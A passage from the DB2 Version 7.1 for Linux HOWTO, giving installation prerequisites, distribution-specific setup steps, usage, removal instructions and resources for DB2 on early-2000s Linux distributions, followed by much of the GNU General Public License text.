kernel-2.2.14-5 | 128
kernel-2.2.16-0.4 | 128

10.2. Creating and configuring buffer pools

A buffer pool is a database object representing system memory used to cache table and index data as it is read from disk or modified. DB2 allocates a default buffer pool of 4 megabytes of memory. This is a ridiculous default for a production database because it will inhibit performance greatly. To get good performance out of DB2, you must create one or more buffer pools and associate them with the tablespaces used to hold the tables in your database. For more information on buffer pools and increasing performance, see the IBM DB2 Administration Guide: Performance.

On a system with a 2.2 kernel compiled with support for >1 gigabyte of RAM, the practical upper limit for buffer pools is about 1 gigabyte of memory due to the location in memory in which Linux loads shared libraries.

Prev | Home | Next
Troubleshooting |  | Installing the IBM Developer Kit for Java


Preparing your distribution for DB2

DB2 Version 7.1 for Linux HOWTO
Prev Next

3. Preparing your distribution for DB2

3.1. Caldera OpenLinux 2.4

3.1.1. Before installing DB2 on Caldera OpenLinux

This section contains instructions that you must follow before installing DB2.

Preparing for the installation of DB2

  1. Install the pdksh-5.2.14-1.i386.rpm package from the Caldera OpenLinux CD-ROM in the /Packages/RPMS/ directory. For example, log in as root, mount the CD-ROM, and enter the following command to install the pdksh package:
    bash# rpm -ivh /mnt/cdrom/Packages/RPMS/pdksh-5.2.14-1.i386.rpm

  2. Remove the jdk package, (JDK 1.2.2 from Sun), since it will conflict with the IBM Developer Kit for Java that you will install in the next step. To remove Sun's JDK, issue the following command as root:
    bash# rpm -e jdk

  3. Install the IBM Developer Kit for Java. A brief set of installation directions is included in Section 11.

  4. Edit the JAVA_HOME and PATH entries in /etc/config.d/shells/bashrc to remove the references to the JDK from Sun and update them to reflect the IBM Developer Kit for Java. The section that I changed started as:

    [ -z "$JAVA_HOME" ]&& [ -d /usr/java ] && (
            export JAVA_HOME=/usr/java
            [ -r $JAVA_HOME/lib/classes.zip ] &&
              export CLASSPATH=$JAVA_HOME/lib/classes.zip
)

    Replace it with the following section to reflect the default locations for the IBM Developer Kit for Java:

    [ -z "$JAVA_HOME" ]&& [ -d /usr/jdk118 ] && (
            export JAVA_HOME=/usr/jdk118
            export PATH=$PATH:$JAVA_HOME/bin
            [ -r $JAVA_HOME/lib/classes.zip ] &&
              export CLASSPATH=$JAVA_HOME/lib/classes.zip
)

3.1.2. Installing DB2 and creating instances on Caldera

Follow the instructions in Section 4 the generic section on installing DB2, and go ahead and create the instances. It's probably a good idea at this point to read through Section 3.1.3 to keep in mind the steps that you need to take after installing DB2.

3.1.2.1. What does /etc/login.defs not accessible, using defaults mean?
3.1.2.2. Okay, DB2 is installed and I created the instances. Now what do I do?

3.1.2.1. What does /etc/login.defs not accessible, using defaults mean?

It means something went slightly wrong, but it's okay. You may get this message splashed across your installation screen one or more times during the DB2 installation process, but other than not looking pretty, DB2 still installs correctly. Caldera apparently doesn't include a /etc/login.defs configuration file. The file controls the default options for the useradd command for adding new users, including policies like how many days before the new user's password expires and whether a home directory should be created for a new user. For more information on the /etc/login.defs file, refer to the man page for useradd.

3.1.2.2. Okay, DB2 is installed and I created the instances. Now what do I do?

Now that you've installed DB2, you have to perform some steps to configure your instances correctly. Keep reading.

3.1.3. After installing DB2 on Caldera

This section contains instructions that you must follow after installing DB2.

3.1.3.1. Adding instance user IDs to their groups

The most important step is to manually add the instance user ID to the corresponding instance group you defined during the instance creation step. DB2 and Caldera OpenLinux don't get this part of the DB2 instance creation process right, so you have to do it yourself. You can add an instance user ID to an instance group in two ways:

  • Edit /etc/group to add the appropriate instance user ID to the last field for each group.

  • Use the COAS utility to manage your groups by selecting KDE menu, Settings, COAS, System, Accounts, then selecting the Groups submenu and the Manage Groups menu item.

3.1.3.2. Changing the default home page in Netscape

The DB2 Control Center and the DB2 Information Center use the Netscape browser to display help and documentation. This works for the first document you display in the browser, but if you try to switch to a different DB2 document (for example, from one book to another), you may instead be redirected to the default home page set by the Caldera OpenLinux installation process. I found that this problem went away as soon as I changed the default home page in the Edit menu, Preferences menu item.

3.1.3.3. Removing the Caldera login greeting

Add a file called .hushlogin to the home directory of each of your instance user IDs. This should prevent the Welcome to your OpenLinux system! messages while running DB2 commands.

DB2 generates these messages on Caldera because the DB2 commands run under the root user ID, which in turn becomes the instance owner to invoke commands. Part of this su process calls one or both of /etc/config.d/shells/csh.login and /etc/config.d/shells/profile, which in turn call the /etc/config.d/shells/OL-greeting script that contains the offensive string.

Instead of adding .hushlogin to every user's home directory, you could probably edit /etc/config.d/shells/OL-greeting to remove the message (or change it to something else, if you want). I haven't tried it myself, so let me know what works best.

3.2. Linux-Mandrake 7.2

The DB2 server and command line DB2 client works on Linux-Mandrake 7.2, and I was able to successfully start and use the DB2 Control Center with IBM JDK 1.1.8 (build 20000713).

3.2.1. Before installing DB2 on Linux-Mandrake

Preparing for the installation of DB2

  1. Install the pdksh-5.2.14-8mdk.i586.rpm package from the Linux-Mandrake CD-ROM in the /Mandrake/RPMS/ directory. For example, log in as root, mount the CD-ROM, and enter the following command to install the pdksh package:
    bash# rpm -ivh /mnt/cdrom/Mandrake/RPMS/pdksh-5.2.14-8mdk.i586.rpm

3.2.2. Installing DB2 and creating instances on Linux-Mandrake

When you run db2setup, you may receive the following error: ksh: /etc/profile.d/tmdir.sh[9]: source: not found This is only a warning message and you can continue installing DB2. If the message interferes with the db2setup menu, press CTRL-L to clear the screen.

Otherwise, follow the instructions in Section 4, the generic section on installing DB2 and creating instances.

3.2.3. After installing DB2 on Linux-Mandrake

With Linux-Mandrake 7.2, there are no special steps to take after installing DB2 Version 7.1. The DB2 server and command line client work out of the box, and the DB2 Control Center worked with IBM JDK 1.1.8 (build 20000713).

3.3. Red Hat Linux 6.2

3.3.1. Before installing DB2 on Red Hat

Preparing for the installation of DB2

  1. Install the pdksh-5.2.14-2.i386.rpm package from the Red Hat CD-ROM in the /RedHat/RPMS/ directory. For example, log in as root, mount the CD-ROM, and enter the following command to install the pdksh package:
    bash# rpm -ivh /mnt/cdrom/RedHat/RPMS/pdksh-5.2.14-2.i386.rpm

3.3.2. Installing DB2 and creating instances on Red Hat

Follow the instructions in Section 4, the generic section on installing DB2 and creating instances.

3.3.3. After installing DB2 on Red Hat

With Red Hat 6.2, you don't need to take any special steps after installing DB2 Version 7.1. It works.

3.4. Red Hat Linux 7.1

3.4.1. Before installing DB2 on Red Hat

Preparing for the installation of DB2

  1. Install the pdksh-5.2.14-12.i386.rpm package from Red Hat CD-ROM (2) in the /RedHat/RPMS/ directory. For example, log in as root, mount the CD-ROM, and enter the following command to install the pdksh package:
    bash# rpm -ivh /mnt/cdrom/RedHat/RPMS/pdksh-5.2.14-12.i386.rpm

  2. For a compatible version of the libstdc++ library, install the compat-egcs-c++-6.2-1.1.2.14.i386.rpm package from Red Hat CD-ROM (2) in the /RedHat/RPMS/ directory. For example, log in as root, mount the CD-ROM, and enter the following command to install the compat-egcs-c++ package:
    bash# rpm -ivh /mnt/cdrom/RedHat/RPMS/compat-egcs-c++-6.2-1.1.2.14.i386.rpm

  3. Install the compat-libs-6.2-3.i386.rpm package from Red Hat CD-ROM (2) in the /RedHat/RPMS/ directory. For example, log in as root, mount the CD-ROM, and enter the following command to install the compat-libs package:
    bash# rpm -ivh /mnt/cdrom/RedHat/RPMS/compat-libs-6.2-3.i386.rpm

  4. The db2setup command looks for a file called /usr/lib/libncurses.so.4 and will not proceed unless it exists, so create a symbolic link from the ncurses4.0 library in /usr/i386-glibc21-linux/lib/ to your /usr/lib/ directory.

bash# ln -sf /usr/i386-glibc21-linux/lib/libncurses.so.4.0 /usr/lib/libncurses.so.4

  5. The default setting for the msgmni kernel parameter only allows a couple of simultaneous connections to DB2. To set this value at at boot time, append the following lines to /etc/sysctl.conf:

# Sets maximum number of message queues to 128
# Set this to 1024 or higher on production systems
kernel.msgmni = 128

3.4.2. Installing DB2 and creating instances on Red Hat

Follow the instructions in Section 4, the generic section on installing DB2 and creating instances.

3.4.3. After installing DB2 on Red Hat

Red Hat 7.1 enabled the floating point stack feature of the glibc library. Unfortunately, this causes Java programs using IBM JDK 1.1.8, including the DB2 Control Center, to fail miserably. Fortunately, you can disable the floating point stack by setting the LD_ASSUME_KERNEL environment variable to 2.2.5 before running the DB2 Control Center as follows:

bash$ export LD_ASSUME_KERNEL=2.2.5
bash$ db2jstrt 6790
bash$ db2cc 6790

With IBM JDK 1.3 (IBMJava2-SDK-1.3-7.0-i386.rpm), the DB2 Control Center started successfully without any workarounds. For instructions on installing the IBM JDK, see Section 11.

3.5. SuSE Linux

3.5.1. Before installing DB2 on SuSE

At some point in its past, SuSE included an old beta version of DB2 in their distribution. When you install SuSE Linux, up to and including version 7.0, the SuSE installer still creates the default DB2 user IDs and sets their home directories in /usr/lib. This can cause some difficulties when you set up the DB2 instances. Before installing DB2, remove the default DB2 user IDs by issuing the following commands as root:

bash# userdel -r db2as
bash# userdel -r db2fenc1
bash# userdel -r db2inst1

3.5.2. Installing DB2 and creating instances on SuSE

Follow the instructions in Section 4, the generic section on installing DB2.

3.5.3. After installing DB2 on SuSE

With SuSE 6.2 or above, I have not needed to take any special steps after installing DB2 Version 7.1. It just works—and that's nice.

3.6. TurboLinux 6.0

3.6.1. Before installing DB2 on TurboLinux

TurboLinux 6.0 includes all of the required packages at or above the minimum required levels for DB2 Version 7.1.

3.6.2. Installing DB2 on TurboLinux

Follow the instructions in Section 4, the generic section on installing DB2.

3.6.3. After installing DB2 on TurboLinux

When you run the DB2 Control Center with TurboLinux 6.0, the console window may display a number of map failed messages. These messages do not indicate a serious problem, so do not worry about them.

Prev | Home | Next
Prerequisites |  | Installing DB2 using db2setup


Prerequisites

DB2 Version 7.1 for Linux HOWTO
Prev Next

2. Prerequisites

2.1. What are prerequisites?

Prerequisites are what you, your machine, and your distribution require before you will be able to successfully install or use DB2. The required prerequisites come straight from IBM DB2 Universal Database for UNIX Quick Beginnings. The suggested prerequisites come from experience. For your convenience, I've divided them into hardware and software requirements.

Hardware prerequisites

Processor

x86 compatible (for example, Intel, AMD, or Cyrix). I've successfully installed DB2 Version 7.1 on a Pentium Pro 200 and a Pentium II 350. Your experiences with other x86 processors would be appreciated.

Memory

For application development, I've found 96 MB of RAM is enough to run a small database and test out your applications. Even the Control Center responds acceptably if your processor speed is fast enough. In my case, I was working with a Thinkpad 600 equipped with a Pentium 233 MMX processor and 96 MB of RAM. However, more memory is recommended if you're putting your database into production or running multiple services.

Free disk space

Of course, this depends on the components you install, but for a typical installation of the DB2 Version 7.1 server, the Administration Client, the Application Development Client, the documentation, and the creation of a sample database, you will need about 350 MB of free disk space.

Software prerequisites

glibc

2.1.2 or greater. This can be a tough part of Linux to upgrade on its own, so if your current distribution doesn't meet this requirement, I would strongly suggest upgrading your entire distribution. For example, I tried upgrading only the glibc portion of TurboLinux 4.0 from 2.1.1 to 2.1.3 and ran into a whole world of trouble.

DB2 Version 7.1 should work with glibc 2.1.1. IBM sets prerequisites based on the systems with which they tested.

kernel

2.2.12 or greater. I've upgraded to both 2.2.19 and 2.4.3 and recompiled the kernel for my own purposes, and DB2 seems to work as well as before.

DB2 Version 7.1 should work with a minimum of kernel 2.2.10. IBM sets prerequisites based on the systems with which they tested.

libncurses

4.x. For db2setup to work correctly, this version of the library must be available on your system with the following pathname: /usr/lib/libncurses.so.4.

libstdc++-libc6.1-1.so.2

A file or symbolic link by this exact name is mandatory. On most distributions, this is a symbolic link to libstdc++-2.9.0.so, but on several recent distributions this is a symbolic link to libstdc++-2.10.0.so.

Note: In previous versions of this HOWTO, I stated that the exact version of libstdc++-2.9.0.so was mandatory. I was wrong.

pdksh

5.2 or greater. This is a public domain version of the Korn shell that both the DB2 installer and the DB2 commands require. You cannot do anything with DB2 without installing pdksh.

rpm

3.0 or greater. DB2 for Linux is distributed as a number of RPM packages, so you won't get far without this piece of software. For information on installing DB2 on distributions without using RPM, see Section 5.

Java

The IBM Developer Kit for Java, 1.1.8 or 1.3, is an optional component, but is required to:

  • use the DB2 Control Center to administer your databases using a graphical user interface

  • create or run Java applications, including stored procedures and user-defined functions

As of this writing, the minimum required level of the IBM Developer Kit for Java 1.1.8 is the March 22, 2000 release. You can get the IBM Developer Kit and Runtime Environment for Linux, Java Technology Edition, from the IBM Java Developer Kit downloads web site as follows:

  • Version 1.1.8

  • Version 1.3

Please note: Other versions of Java, such as the Blackdown or Sun JDKs, have not been tested with DB2 and are not supported by IBM. And no, none of the distributions I have seen so far package the IBM JDK. But do yourself a favour, and get the IBM Developer Kit for Java.

Web browser

DB2 calls the netscape command when you:

  • display the online help for the DB2 Control Center

  • display information using the DB2 Information Center

The easiest approach is to install Netscape Navigator or Communicator on your system. Netscape version 4.72 or above is required to display the Business Intelligence Quick Tour, because of its extreme use of JavaScript.

To use a browser other than Netscape to display online help or information, create a link called netscape to your preferred browser executable. The link must appear in your PATH. For example, to display online help with mozilla, you could create a link in /usr/local/bin with the following command:
bash# ln -s /usr/bin/mozilla-bin /usr/local/bin/netscape

In the following table:

  • unknown indicates that I don't know what the default level is, and I haven't installed DB2 on this distribution (your feedback is welcome!)

  • okay indicates that I don't know what the default level is, but it worked when I installed DB2

  • ** as a prefix indicates that the default level is not acceptable and must be replaced or supplemented with a compatible library

Table 1. Prerequisite levels, by distribution

Distribution | glibc | Linux kernel | libncurses | libstdc++-libc6.1-1.so | pdksh | rpm
Caldera OpenLinux 2.4 | 2.1.2 | 2.2.14 | okay | 2.9.0 | 5.2.14 | okay
Debian 2.2 | 2.1.3 | 2.2.17 | okay | 2.10.0 | 5.2.14 | 3.0.3
Linux-Mandrake 7.2 | 2.1.3 | 2.2.17 | okay (4, 4.2, 5, & 5.1) | 2.9 | 5.2.14 | 3.0.5
Red Hat 6.2 | 2.1.2 | 2.2.14 | okay | 2.9.0 | 5.2.14 | okay
Red Hat 7 | 2.1.92 | 2.2.16 | **5.1 | **2.9.6 | 5.2.14 | 4.0
Red Hat 7.1 | 2.2.2 | 2.4.2 | **5.2 | **2.9.6 | 5.2.14 | 4.0.2
SuSE 6.2 | 2.1.1 | 2.2.10 | unknown | 2.9.0 | 5.2.14 | okay
SuSE 6.3 | 2.1.2 | 2.2.13 | okay | 2.9.0 | 5.2.14 | okay
SuSE 7.0 | unknown | 2.2.17 | okay | unknown | 5.2.14 | okay
TurboLinux 6.0 | 2.1.2 | 2.2.13 | okay | 2.9.0 | 5.2.14 | okay
Prev | Home | Next
Introduction |  | Preparing your distribution for DB2


Resources

DB2 Version 7.1 for Linux HOWTO
Prev Next

A. Resources

Following is a list of references to further information on using DB2 V7.1 for Linux:

Newsgroups

comp.databases.ibm-db2

Covers the use of DB2 Universal Database on all platforms, including Linux and other Unices, OS/2, OS/390, OS/400, and Windows. This forum is quite active.

ibm.software.db2.udb.v7beta on the news.software.ibm.com NNTP server

Although this newsgroup was meant to serve users trying out the DB2 V7.1 beta code, there are a lot of general questions about DB2 on Linux that might help answer your questions. Now that the final release is available, activity on this forum has slowed down significantly.

Web sites

DB2 Library

IBM publishes many books on installing, administering, and developing applications with DB2. If you decide not to install the documentation when you install DB2, you can always access the documentation online in HTML format or download PDF versions of the books.

DB2 Application Development

This web site contains the latest information about restrictions, workarounds, or additional documentation for developing applications with DB2.

DB2 for Linux

This web site contains general information about using DB2 for Linux, including a link to the free download of DB2 Personal Developers Edition.

DB2 Magazine

This web site is the online version of DB2 Magazine, which publishes articles about using DB2 on Linux and other platforms. You can also sign up a free subscription to the print version of the magazine.

DB2 White Papers

This web site contains white papers published by IBM about DB2. White papers typically provide overviews or introductions to new technology or new releases of a product.

International DB2 Users Group (IDUG)

IDUG holds a number of international conferences on DB2 and has regional user groups. While IDUG has traditionally focused on DB2 for OS/390 and OS/400, they have increasingly included information on DB2 for Linux, other Unices, OS/2, and Windows. The IDUG web site includes online discussion forums and links to other DB2 resources.

DB2 on Debian

Andika Triwidada contributed most of the information in this document about installing DB2 on Debian, using rpm to install the DB2 packages. The web page is the original source of that information. For those interested in installing previous releases of DB2 for Linux on Debian, Andika also includes information on running DB2 Version 5.2 and DB2 Version 6.1 on Debian.

Agnostic DB2 V7.1 for GNU/Linux

Another page on installing DB2 on a platform that favours the dpkg package manager, written by Tiago Antao. His approach uses rpm and alien to convert the packages tgz archives, then decompress the packages using tar and gzip.

Full text searching with DB2 on Linux and SWISH++

The Text Extender allows you to perform full-text indexing and searches of databases on DB2. Unfortunately, the Text Extender is not yet available for DB2 for Linux.

To fill the void, Kevin Sangalee has put together an excellent page on an alternative method of providing similar function. From the site:

This document describes way to provide this functionality using the text indexing package SWISH++, a User Defined Function (in this case, written in C), and a Perl script. It should be taken as an overview guide rather than as detailed instructions, since the solution may require some coercing to fit with other applications.

Prev | Home | Next
Using the 2.4 kernel with DB2 Version 7.1 |  | GNU General Public License


Removing DB2

DB2 Version 7.1 for Linux HOWTO
Prev Next

7. Removing DB2

To remove DB2 from your workstation cleanly, perform the following steps:

  1. Log in as root.

  2. List all DB2 instances:
    bash# /usr/IBMdb2/V7.1/instance/db2ilist

  3. Drop each instance listed in the previous step with the following command:
    bash# /usr/ibmdb2/v7.1/instance/db2idrop instance-name

  4. Drop the DB2 administration server:
    bash# /usr/IBMdb2/V7.1/instance/dasidrop `/usr/IBMdb2/V7.1/instance/dasilist`

  5. Uninstall all of the DB2 packages on your system using the db2deinstall command on your DB2 CD-ROM:
    bash# /mnt/cdrom/db2/db2_deinstall -n

Prev | Home | Next
Creating DB2 instances |  | Using DB2


Using DB2

DB2 Version 7.1 for Linux HOWTO
Prev Next

8. Using DB2

This section gives you the basic information you need to start working with DB2 on Linux. It includes instructions on issuing DB2 commands and SQL statements from the command line, as well as the commands you need to start the DB2 Control Center and the DB2 Information Center.

Note: This section assumes that you have followed the instructions in Section 11.

8.1. DB2 Control Center

The left side of the DB2 Control Center provides an object-oriented view of the database objects that you have catalogued, including DB2 instances and databases on other DB2 servers. One way to add, edit, or drop database objects is to right-click on an object to bring up a menu.

To start the DB2 Control Center

  1. Ensure you are logged on to your Linux workstation using either the DB2 Administration Server user ID or the DB2 instance user ID. If you use the su command to become the user, ensure you include the -l parameter to initialize the environment for the user.

  2. Start the X server, if it is not already started.

  3. Issue the db2cc command to start the DB2 Control Center. Depending on the speed of your system, it may take a few seconds for the splash screen to appear, and longer before the full DB2 Control Center appears.

8.2. DB2 Information Center

The DB2 Information Center provides tree views of the information about DB2 that is installed on your system, as well as a number of links to web sites with further information. If you did not install the DB2 documentation, the tree views contain fewer links.

To start the DB2 Information Center

  1. Ensure you are logged on to your Linux workstation using either the DB2 Administration Server user ID or the DB2 instance user ID. If you use the su command to become the user, ensure you include the -l parameter to initialize the environment for the user.

  2. Ensure that the X server is started.

  3. Issue the db2ic command to start the DB2 Information Center. Depending on the speed of your system, it may take a few seconds for the splash screen to appear, and longer before the full DB2 Information Center appears.

8.3. The DB2 command line

If you are logged on to your Linux workstation using either the DB2 Administration Server user ID or the DB2 instance user ID, you can issue DB2 commands and SQL statements from the command line.

If this is your first time using DB2, I would suggest creating the sample database that ships with DB2. The sample database is used throughout the DB2 documentation and is required by most of the sample applications. To create the sample database, you can either select the Create the sample database option when you create a DB2 instance, or issue the db2sampl command from the DB2 command line.

Before you can issue an SQL statement, you have to connect to a database. To connect to a database:

  • db2 CONNECT TO database USER userID USING password

To connect to a database, and have DB2 prompt you for the password:

  • db2 CONNECT TO database USER userID

To connect to a database using the default user ID:

  • db2 CONNECT TO database

Once you have connected to a database, you can then issue SQL statements or DB2 commands against that database. For example, to select all of the columns from the EMPLOYEE table in the SAMPLE database, issue the following command:
bash$ db2 "SELECT * FROM employee"

Note: You can avoid typing db2 as the prefix for every SQL statement and DB2 command by issuing commands using the Command Line Processor (CLP). To start the CLP, issue the db2 command by itself. DB2 provides the following prompt:

You can issue database manager commands and SQL statements from the command
prompt. For example:
    db2 => connect to sample
    db2 => bind sample.bnd

For general help, type: ?.
For command help, type: ? command, where command can be
the first few keywords of a database manager command. For example:
 ? CATALOG DATABASE for help on the CATALOG DATABASE command
 ? CATALOG          for help on all of the CATALOG commands.

To exit db2 interactive mode, type QUIT at the command prompt. Outside
interactive mode, all commands must be prefixed with 'db2'.
To list the current command option settings, type LIST COMMAND OPTIONS.

For more detailed help, refer to the Online Reference Manual.

db2 =>
I don't use the CLP because it prevents me from using the command line history feature of my shell. I find myself using the command line history a lot when I'm issuing SQL statements.

Some users claim that running the CLP within an Emacs shell gives them the best of both worlds: they get command line history, and they don't have to escape commands that contain lots of quotation marks and brackets.

Prev | Home | Next
Removing DB2 |  | Troubleshooting


Preamble

DB2 Version 7.1 for Linux HOWTO
Prev B. GNU General Public License

B.1. Preamble

The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.

When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.

We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.

Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.

The precise terms and conditions for copying, distribution and modification follow.

B.1.1. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.

1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.

You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.

2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:

a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.

b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.

c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program.

In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.

3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:

a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,

b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,

c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.

If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.

4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.

6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.

7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.

This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.

8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.

9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation.

10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.

NO WARRANTY

11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

END OF TERMS AND CONDITIONS

B.1.2. How to Apply These Terms to Your New Programs

If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.

To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found.

one line to give the program's name and a brief idea of what it does.
